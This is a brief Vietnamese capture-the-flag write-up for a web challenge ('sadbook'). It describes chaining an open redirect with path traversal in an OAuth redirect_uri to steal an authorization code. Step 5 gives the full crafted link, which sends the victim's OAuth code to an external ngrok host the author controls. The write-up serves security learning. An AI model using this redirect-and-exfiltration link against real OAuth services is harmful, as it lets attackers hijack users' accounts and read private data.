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@NamPNQ
Last active November 18, 2017 23:22
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sadbook.ctf.yeuchimse.com

Mình viết sơ qua các steps mình làm

  1. Tác giả hint là open-redirect
  2. Mình có coi qua rồi, khi nhấn vào report chưa login nó sẽ chuyển sang page login, có params return=report.php
  3. search Open Redirect Fuzz List
  4. Thử vài cái thấy \/google.com ok
  5. làm cái đường link để report http://sadpen.ctf.yeuchimse.com/oauth.php?client_id=42&type=code&redirect_uri=http%3A%2F%2Fsadbook.ctf.yeuchimse.com%2Foauth%2Fcallback.php%2F..%2F..%2Flogin.php%3Futm_client%3D113.180.103.214%26return%3D%5C%2Fc4264db7.ngrok.io
  6. report cho tác giả
  7. lấy đc code
  8. vào đọc tâm sự
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